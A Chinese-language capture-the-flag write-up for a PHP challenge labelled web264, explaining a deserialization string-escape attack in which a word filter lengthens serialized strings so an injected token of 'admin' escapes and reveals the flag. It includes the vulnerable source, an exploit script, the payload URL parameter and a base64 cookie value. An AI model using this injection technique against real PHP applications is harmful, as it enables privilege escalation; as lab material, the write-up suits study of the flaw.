5（web264）

进入环境，直接给了源码
和之前一题一样，有message.php

<?php
error_reporting(0);
session_start();

class message{
    public $from;
    public $msg;
    public $to;
    public $token='user';
    public function __construct($f,$m,$t){
        $this->from = $f;
        $this->msg = $m;
        $this->to = $t;
    }
}

$f = $_GET['f'];
$m = $_GET['m'];
$t = $_GET['t'];

if(isset($f) && isset($m) && isset($t)){
    $msg = new message($f,$m,$t);
    $umsg = str_replace('fuck', 'loveU', serialize($msg));
    $_SESSION['msg']=base64_encode($umsg);
    echo 'Your message has been sent';
}

highlight_file(__FILE__);

message.php

<?php

/*
# -*- coding: utf-8 -*-
# @Author: h1xa
# @Date:   2020-12-03 15:13:03
# @Last Modified by:   h1xa
# @Last Modified time: 2020-12-03 15:17:17
# @email: h1xa@ctfer.com
# @link: https://ctfer.com

*/
session_start();
highlight_file(__FILE__);
include('flag.php');

class message{
    public $from;
    public $msg;
    public $to;
    public $token='user';
    public function __construct($f,$m,$t){
        $this->from = $f;
        $this->msg = $m;
        $this->to = $t;
    }
}

if(isset($_COOKIE['msg'])){
    $msg = unserialize(base64_decode($_SESSION['msg']));
    if($msg->token=='admin'){
        echo $flag;
    }
}

仍然是一题字符逃逸的题

if(isset($f) && isset($m) && isset($t)){
    $msg = new message($f,$m,$t);
    $umsg = str_replace('fuck', 'loveU', serialize($msg));
    $_SESSION['msg']=base64_encode($umsg);
    echo 'Your message has been sent';

使token为admin，就可以让它逃逸出来
在$to处传入fuck";s:5:"token";s:5:"admin";}
“后有27个字符，所以要转换27次
构造得
exp：

<?php
class message{
    public $from;
    public $msg;
    public $to;
    public $token='user';
    public function __construct($f,$m,$t){
        $this->from = $f;
        $this->msg = $m;
        $this->to = $t;
    }
}
$f;
$m;
$t = 'fuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuck";s:5:"token";s:5:"admin";}';
$msg = new message($f,$m,$t);
$umsg = str_replace('fuck', 'loveU', serialize($msg));
echo $umsg;

得到：

O:7:"message":4{s:4:"from";N;s:3:"msg";N;s:2:"to";s:135:"loveUloveUloveUloveUloveUloveUloveUloveUloveUloveUloveUloveUloveUloveUloveUloveUloveUloveUloveUloveUloveUloveUloveUloveUloveUloveUloveU";s:5:"token";s:5:"admin";}";s:5:"token";s:4:"user";}

传入?f=1&m=1&t=fuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuck";s:5:"token";s:5:"admin";}
之后在访问message.php,base64编码后传入cookie

msg=Tzo3OiJtZXNzYWdlIjo0e3M6NDoiZnJvbSI7TjtzOjM6Im1zZyI7TjtzOjI6InRvIjtzOjEzNToibG92ZVVsb3ZlVWxvdmVVbG92ZVVsb3ZlVWxvdmVVbG92ZVVsb3ZlVWxvdmVVbG92ZVVsb3ZlVWxvdmVVbG92ZVVsb3ZlVWxvdmVVbG92ZVVsb3ZlVWxvdmVVbG92ZVVsb3ZlVWxvdmVVbG92ZVVsb3ZlVWxvdmVVbG92ZVVsb3ZlVWxvdmVVIjtzOjU6InRva2VuIjtzOjU6ImFkbWluIjt9IjtzOjU6InRva2VuIjtzOjQ6InVzZXIiO30=

得到flag